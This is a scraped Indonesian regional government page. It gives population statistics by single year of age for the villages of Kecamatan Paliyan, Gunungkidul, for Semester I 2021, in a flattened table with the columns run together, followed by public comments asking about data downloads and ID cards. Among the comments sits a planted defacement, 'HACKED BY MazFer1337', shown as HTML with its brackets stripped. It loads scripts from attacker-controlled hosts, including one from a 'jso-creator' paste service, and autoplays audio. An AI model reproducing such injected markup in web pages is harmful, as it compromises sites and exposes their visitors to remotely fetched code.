Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KECAMATAN PALIYAN, KABUPATEN GUNUNGKIDUL, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaSODOPAMPANGGROGOLKARANGDUWETKARANGASEMMULUSANGIRINGTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun5654 1102929 582424 487777 1549988 1876554 1193724 61387 350 737
2 tahun3926 651716 331313 264739 865362 1153923 621220 32220 199 419
3 tahun3133 64910 192117 384245 874856 1044239 811511 26208 211 419
4 tahun2531 561314 271710 273336 694748 952338 611012 22168 189 357
5 tahun3235 671820 381215 274346 895354 1073730 671720 37212 220 432
6 tahun3220 521920 391724 414141 824746 934243 851210 22210 204 414
7 tahun2939 681614 301617 332839 675552 1073736 731620 36197 217 414
8 tahun2927 562213 352018 383940 795454 1084241 832215 37228 208 436
9 tahun2633 591922 411414 285351 1044850 983430 641920 39213 220 433
10 tahun3923 622116 371114 255932 916949 1184140 812014 34260 188 448
11 tahun3842 802224 461812 303737 745258 1104129 701615 31224 217 441
12 tahun4232 742330 532419 435140 915942 1013933 72158 23253 204 457
13 tahun3534 692219 412221 434342 856352 1153825 632116 37244 209 453
14 tahun2737 642316 391712 294445 895339 923938 772118 39224 205 429
15 tahun3029 591816 34146 203936 756045 1053235 671217 29205 184 389
16 tahun2626 521911 301416 304043 835263 1154030 702011 31211 200 411
17 tahun2926 551615 31139 224339 826357 1203230 621423 37210 199 409
18 tahun2536 611219 312213 355442 965368 1214347 902125 46230 250 480
19 tahun4031 711814 321721 385060 1104869 1174342 851928 47235 265 500
20 tahun2840 682125 462117 384551 965767 1243430 642721 48233 251 484
21 tahun3753 902015 351618 345661 1177875 1534142 833421 55282 285 567
22 tahun3022 521915 341312 255446 1007152 1234734 812414 38258 195 453
23 tahun3230 622515 401310 234740 877254 1264045 852324 47252 218 470
24 tahun3327 601722 391511 265547 1025965 1244445 892619 45249 236 485
25 tahun3037 671612 281714 314949 985443 974028 682519 44231 202 433
26 tahun4638 841221 331311 246253 1156848 1165444 981918 37274 233 507
27 tahun3435 691417 311015 255343 966353 1164847 952220 42244 230 474
28 tahun3739 762316 391213 256343 1067166 1374646 922018 38272 241 513
29 tahun4035 752113 341816 345757 1147156 1273948 871621 37262 246 508
30 tahun3634 701712 291716 335255 1076367 1304633 792517 42256 234 490
31 tahun4419 632125 461516 315459 1133968 1075437 912216 38249 240 489
32 tahun3237 691613 29813 213834 725859 1173328 611916 35204 200 404
33 tahun4229 71109 191511 265036 865837 952837 652018 38223 177 400
34 tahun3028 58158 231714 314842 904238 803130 611616 32199 176 375
35 tahun3038 682523 481523 384643 895446 1003934 731312 25222 219 441
36 tahun4041 811520 351910 294845 936163 1245647 1032016 36259 242 501
37 tahun2640 662024 441419 335942 1014447 914427 712013 33227 212 439
38 tahun5542 972415 392216 384547 927464 1386043 1031918 37299 245 544
39 tahun3532 671626 422623 494434 785660 1165140 911518 33243 233 476
40 tahun4328 712325 481813 314444 886453 1173525 601715 32244 203 447
41 tahun4642 882025 451718 353955 946260 1224634 801617 33246 251 497
42 tahun3027 571918 371112 233834 725152 1033034 641021 31189 198 387
43 tahun3443 772223 451612 284532 775647 1033027 571626 42219 210 429
44 tahun2930 592017 371015 253548 834657 1033627 631721 38193 215 408
45 tahun3142 732018 381016 264448 925441 953832 702023 43217 220 437
46 tahun4331 74814 22811 193450 845954 1132532 571916 35196 208 404
47 tahun3226 582116 371516 315343 965744 1012828 561826 44224 199 423
48 tahun3832 701624 401213 254352 955154 1053551 862526 51220 252 472
49 tahun3337 701414 282119 405045 955775 1323735 721617 33228 242 470
50 tahun3150 812318 411316 293345 785459 1133431 652331 54211 250 461
51 tahun3128 591723 401218 304443 876365 1284754 1012630 56240 261 501
52 tahun3427 612416 401718 355052 1024273 1153640 762726 53230 252 482
53 tahun2828 562317 401620 365254 1064359 1023038 682028 48212 244 456
54 tahun1926 451813 311413 274948 974461 1052125 461716 33182 202 384
55 tahun2439 631522 371719 365459 1134354 973136 672623 49210 252 462
56 tahun1821 391010 201114 253043 736043 1032532 571616 32170 179 349
57 tahun2827 551719 36616 224756 1034255 972831 591517 32183 221 404
58 tahun2627 531420 341621 374345 885672 1283436 701418 32203 239 442
59 tahun2912 411818 361411 253039 694844 922417 411825 43181 166 347
60 tahun3239 711418 321231 433544 795152 1032838 661522 37187 244 431
61 tahun2523 481225 371621 373633 694360 1033929 682211 33193 202 395
62 tahun1832 502026 461421 353039 694339 821928 472222 44166 207 373
63 tahun2229 511012 221014 242847 753837 751531 461016 26133 186 319
64 tahun1422 361417 311113 243235 673155 862425 491517 32141 184 325
65 tahun2445 691522 37912 214850 984361 1042928 571222 34180 240 420
66 tahun921 301211 231113 244130 713441 752024 441310 23140 150 290
67 tahun2023 431420 342118 392432 563727 642116 371328 41150 164 314
68 tahun1616 321118 29139 222633 593632 681222 341315 28127 145 272
69 tahun2419 431310 231618 342630 563437 711613 292110 31150 137 287
70 tahun1732 491413 27811 192731 584038 782333 561116 27140 174 314
71 tahun1312 25138 2177 142328 513525 601334 471313 26117 127 244
72 tahun1812 30812 20814 222424 482538 631218 301421 35109 139 248
73 tahun1117 28126 1828 101426 402123 441218 301213 2584 111 195
74 tahun1615 31812 20410 141613 291525 401017 27313 1672 105 177
75 tahun918 27812 201212 241628 443029 591821 39911 20102 131 233
76 tahun914 2383 1158 131313 261016 26810 1856 1158 70 128
77 tahun79 1657 12212 141225 371827 45136 1997 1666 93 159
78 tahun1019 2964 10914 231713 302131 521215 271114 2586 110 196
79 tahun910 1976 1349 131117 281320 33713 20410 1455 85 140
80 ke atas6381 1443055 854382 12578136 21496191 28762117 1793469 103406 731 1.137
Jumlah2.3602.4414.8011.3391.3712.7101.1531.2612.4143.3223.4196.7414.0554.2068.2612.6872.6695.3561.4211.4862.907 16.337 16.853 33.190
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih